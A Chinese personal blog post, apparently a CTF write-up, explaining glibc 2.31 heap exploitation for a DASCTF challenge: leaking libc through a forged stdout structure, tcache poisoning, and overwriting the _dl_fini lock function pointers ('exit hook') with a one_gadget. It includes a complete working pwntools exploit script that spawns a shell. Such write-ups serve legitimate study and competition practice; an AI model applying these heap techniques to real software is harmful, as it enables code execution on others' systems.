A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

stdout,tcache和exit hook一锅端

一、前言

时隔一个月某有更新博客了,上一次搞那个patchelf调了快半个星期没弄好之后心态大崩,一下子动力失去,直接摆烂了一整个五一。五一过后没多久,被uuu师傅狠狠的打击到了orz,又捡起来了继续pwn。然后紧接着就是省赛,看了下去年的省赛两题都是2.31的堆,都是没有输出函数要打stdout去输出,最后劫持tcache去getshell,当时一看差点直接晕厥,后面一个多星期速成完了tcache和stdout输出,对这两个技巧有了大致了解后就是五月的das了,又是stdout输出(

直接赶趟了,一篇博客一道题搞完劫持stdout还有最后利用tcache劫持到exit hook完成getshell

二、做题前置知识

少年,我想你看完前置的知识,打通例题毫无🍐

1、关于IO FILE

初识IO FILE

关于IO,一开始是听说2.34版本ban掉了两个hook之后,基本都是打IO去getshell,直到现在我还没有完全看懂和理解IO。

关于IO FILE,结合众多师傅的博客和ctfwiki,我们对其有了大致的了解。

IO FILE有若干个相关的结构体,例如_IO_FILE_plus等,用于完成IO的相关功能(具体的我目前还没有仔细去了解,大致理解为控制IO函数完成输出输入等功能)。stdout就是其中一个IO结构体。_

_当我们调用puts函数时, _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow (摘自A1lx师傅的博客),当我们能控制stdout这个结构体里面的内容,经过特殊布局绕过检测后,就能够输出一个libc函数的地址,从而计算出libc的基地址

stdout其中布局为:payload=p64(0xfbad1800)+p64(0)*3+’\x00’时即可,至于想细究为何,上面A1lx师傅的连接里就有,如果要利用只需要申请到stdout布局payload即可

如何找到stdout的位置

首先我们是并不知道stdout结构体的位置的,因此我们需要利用到unsorted bin的残留指针,在前面我们知道堆块在进入unsorted bin时会有指针指向main_arena+96的位置

XAA3Af.png

然后我们再来康康我们的stdout结构体

XAdSoV.png

前面的0x7ff那一串是不是惊人的相似,与此同时同一libc的低三位是不变的,所以即使在地址随机化的情况下我们也可以知道libc的低三位是多少,例如本图上就是0x6a0。那么我们这个存在unsorted bin里指向main_arena+96的fd指针,这里面只有第四位我们是不清楚是多少,但是我们可以爆破💣这个第四位,就有1/16的概率让这个指针指向我们的stdout结构体。此时利用这个残留指针就能申请堆块到stdout结构体。

what’s 残留的fd指针

接下来就是如何把我们的堆块🐏进stdout结构体里

这里我要特别mark一下什么叫做残留的指针

众所周知,当我们在tcache里面找不到符合用户申请大小的堆块时,会去unsorted bin里找,如果有size>malloc_size的堆块,就会切割该堆块用以满足用户需求。切割过后,fd指针就会移动到剩余的空闲堆块里。就是这个移动,移动下去后,原本的地方不会变成0,而是会残留原本的fd指针。

giao!和uuu师傅一番交♂流后,我领悟了为什么会有这个残留的指针。原因是我们malloc的时候,当我们去割unsorted之前,系统会遍历整理一遍unsorted bin里面的chunk,找有没有直接符合malloc_size的堆块,并且按照大小让unsorted里面的chunk进入small或者largebin,如果遍历了unsorted后依旧满足不了,就会去largebin里找符合size>malloc_size的堆块,如果有,就切割该堆块,并且将剩余的部分丢回去unsorted bin。因为一开始是从unsorted bin过来largebin的,所以切出来的部分fd区域存有一个指针,剩余的部分因为丢回去了unsorted bin,所以会有一个指向main_arena的指针,所以我们看起来才会像fd被挤下去了。uuu师傅tql呜呜呜

附上uuu师傅调demo的图:

XEcXRI.png

接着如图,就能看到有两个指向main_arena的指针:

XADlNt.png

在割了0x21大小的堆块出来后,该0x21大小的堆块里残留着一个fd指针,如何利用

因此我愿称之为时间刺客-艾克(有个影子

2、关于tcache

tcache结构体

在glibc2.26版本之后,就加入了tcache bin用于管理空闲的堆块

关于tcache bins,glibc定义了 tcache_entry和tcache_perthread_struct两个结构体用于管理tcache bins,并且tcache struct是分配到了堆上,在堆最初产生时会分配出一定内存来保存tcache struct,如图:

XEJM3d.png

我们可以看到,在2.31版本下这个0x291就是分配来管理tcache bins的(之前的版本大小好像不是这个),我们也可以劫持整个tcache struct去攻击。

tcache的攻击手段

tcache和fast bin类似,都是用FILO的单链表来维护,范围在0x20~0x420,默认每一条链表的大小为7,但是tcache并没有fastbin类似的size_check,这意味着通过我们利用tcahe可以更加方便的把堆块申请到任意地址上。而且tcache和fastbin一样,可以构造double free。

但是在glibc版本更新后,tcache加入了一些检测,其中加入了key字段指向tcache struct,以此来防止double free。与此同时,加入了counts位去记录这一条tcache bins链表里存储了多少个tcache(这也是为什么在fastbin attack那篇博客里,我们取不出fake_chunk的原因),这意味着如果我们释放了一个chunk进入tcache,伪造了这个chunk的next指针后,是申请不出来这个next指针指向的区域的,因为此时我们的counts位为0,系统认为这里面没有堆块了,转而从top chunk切割。所以我们如果想要顺利取出fake_chunk就得控制下counts位。

3、关于exit hook

实际上并没有exit hook,他不是一个钩子函数,而是在exit函数进入时会调用的一个函数指针(exit-> __run_exit_handlers -> _dl_fini 这么一条调用链)

关键就在这个fini函数,它会调用rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。 因此我们不难想到两种利用exit hook来getshell的方法,一种是直接改成onegadget,另一种是改成system并且控制参数。

此外,exit函数属于libc函数,偏移可以计算出来,因此我们能有办法得到fini函数调用的两个函数位置,再通过申请chunk到这个地址上,就能修改函数指针使其指向我们最♥的onegadget或者system。

如果要通过改成system来getshell,就得控制GL(dl_load_lock)这一传参。gdb 跟进会发现,它其实是结构体_rtld_global的一部分,_rtld_global._dl_load_lock.mutex.__size的地址。

三、例题 DASCTF x MAY 山重水复

一些bbll

又是一月一度的DAS,只能说看着uuu师傅ak,只能膜拜orz。

这个题赛中十二点就有思路了,但是这个offbyone审计代码的时候觉得有,但是上手调一把之后发现没有chunk overlap的现象,就以为是我自己审错了,然后折磨了自己好久,最后随手申请了size为6的堆块,输入了7个a,gdb进去一看是7个,才发现真有off by one,是我申请的size不对(要8结尾的size),没有复用到presize,导致没有chunk overlap(还是太菜了

代码分析

XEWkJH.png

经典菜单列表,给了一个手动调用exit的机会,但是没有输出堆块内容的函数,所以就想到应该是打stdout泄露地址,打exit hook去getshell。

但是为啥我们不去选择我们的老相好malloc_hook或者free_hook呢,原因在于他每一次选择完后都会调用一次check函数

XEW0kF.png

而在这个check函数里面,我们的老相好被kill了XEWylR.png

在edit函数里,他写入数据的函数是自己定义的一个my_read(这一看就有问题

XEWopd.png

存在off by one

利用逻辑

首先因为tcache的存在,我们想要利用unsorted bin的话,要么填满tcache,要么申请一个大于0x420的堆块。这里我们采用第二种方法,于此同时,因为off by one写不进三位,所以这里我们采用的方法是用chunk0去改写chunk1的size,让chunk1包含chunk2,利用chunk1去修改chunk2的size达到目的

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0,0xb8)#1
add(1,0x68)#2
add(2,0x68)#3
add(3,0x38)#4
add(4,0x38)#5
add(5,0x400)#6
add(6,0x10)#7
edit(0,b'a'*0xb8+p8(0xe1))#2 3overlap
#gdb.attach(p)
#add(1,0x68)
dele(1)
add(1,0xd8)#2 control 3
edit(1,b'a'*0x68+p64(0x501)+b'\n')#3->430

然后我们释放掉chunk2,让2带着3、4、5,一起滚进去unsorted bin

此时释放掉4,5,让其进入tcache,为unsorted bin的fd能变成tcache的next指针做准备

1
2
3
dele(2)#3 getin unsorted
dele(4)#getin tcache
dele(3)

这里有一个小细节,我们先dele(4)再dele(3),因为我们说过,tcache会有counts位记录当前链表有几个chunk,所以我们先放多一个进去,让它的counts为2,然后用3这个堆块去接unsorted bin的fd,这样就能申请出来fake_chunk

XEocXd.png

最后我们再申请一个0x2的小堆块,再次切割unsorted bin,此时我们编辑这个小堆块就能修改两个字节,并且这个堆块也在tcache里(因为刚刚我们是通过free掉本来存在的3,让其进入tcache,而3本来就在伪造的大chunk里面,所以我们申请0x20,就会去切割unsorted ,分配给我们这块进入了tcache的内存,达到类似UAF的效果),因此就能够修改这个残留的fd去撞stdout结构体。

1
2
3
4
5
6
7
8
9
add(3,0x68)
add(4,2)
gdb.attach(p)
edit(4,b'\xa0\xb6'+b'\n')
add(7,0x30)
gdb.attach(p)
add(8,0x30)
edit(8,p64(0xfbad1800)+p64(0)*3+b'\x00\n')
libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

然后再利用一次tcache poisoning去申请到exit hook,填上one gadget

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
p=process('./no')
#p=remote('node4.buuoj.cn',27829)
elf=ELF('./no')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def menu(choice):
p.sendlineafter('Your choice:',str(choice))
def add(id,size):
menu(1)
sleep(0.1)
p.sendlineafter('Idx:',str(id))
sleep(0.1)
p.sendlineafter('Size:',str(size))
def edit(id,content):
menu(2)
p.sendlineafter('Idx:',str(id))
p.sendafter('context:',content)
def dele(id):
menu(3)
p.sendlineafter('Idx:',str(id))
def exit():
menu(4)
#gdb.attach(p)
add(0,0xb8)#1
add(1,0x68)#2
add(2,0x68)#3
add(3,0x38)#4
add(4,0x38)#5
add(5,0x400)#6
add(6,0x10)#7
edit(0,b'a'*0xb8+p8(0xe1))#2 3overlap
#gdb.attach(p)
#add(1,0x68)
dele(1)
add(1,0xd8)#2 control 3
edit(1,b'a'*0x68+p64(0x501)+b'\n')#3->430

dele(2)#3 getin unsorted
dele(4)#getin tcache
dele(3)
add(3,0x68)
add(4,2)
gdb.attach(p)
edit(4,b'\xa0\xb6'+b'\n')
add(7,0x30)
gdb.attach(p)
add(8,0x30)
edit(8,p64(0xfbad1800)+p64(0)*3+b'\x00\n')
libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
one_gadget=[0xe6c7e,0xe3b2e,0xe3b31,0xe3b34,0xe3d23,0xe3d26,0xe3d99,0xe3de5,0xe3ded]
libc_base=libc-0x1eb980

#dele()
print(hex(libc))

#print(hex(base))
#gdb.attach(p)
add(0,0x18)
add(1,0x18)
add(2,0x18)
edit(0,b'a'*0x18+p8(0x41))
dele(0)
dele(1)
add(1,0x30)
dele(2)
off_set=0x222f68
fake_next=libc_base+off_set
#fake_next=0x7ffff7ffdf70
edit(1,p64(0)*3+p64(0x21)+p64(fake_next)+b'\n')
add(0,0x18)
add(2,0x18)
one=libc_base+one_gadget[0]
edit(2,p64(one)+b'\n')
#gdb.attach(p)
menu(4)
#add(2,0x30)
p.interactive()

四、又是一些碎碎念

打完das之后的第二天省赛,又是off by one…我只能把exp写到劫持free_hook,因为开了沙箱,而我又对orw一窍不通,只能丢给师兄,自己在一旁坐牢。

现在逐渐又有了pwn的动力了,f师傅和g师傅都那么猛,我不能落下,丢了二进制冲分小队的脸orz。此外特别鸣谢我的偶像uuu师傅,能认识uuu师傅真的很开心捏

接下来就是准备下期末考,争取不挂科的同时摸摸ctf,搞搞作品赛

hustle every day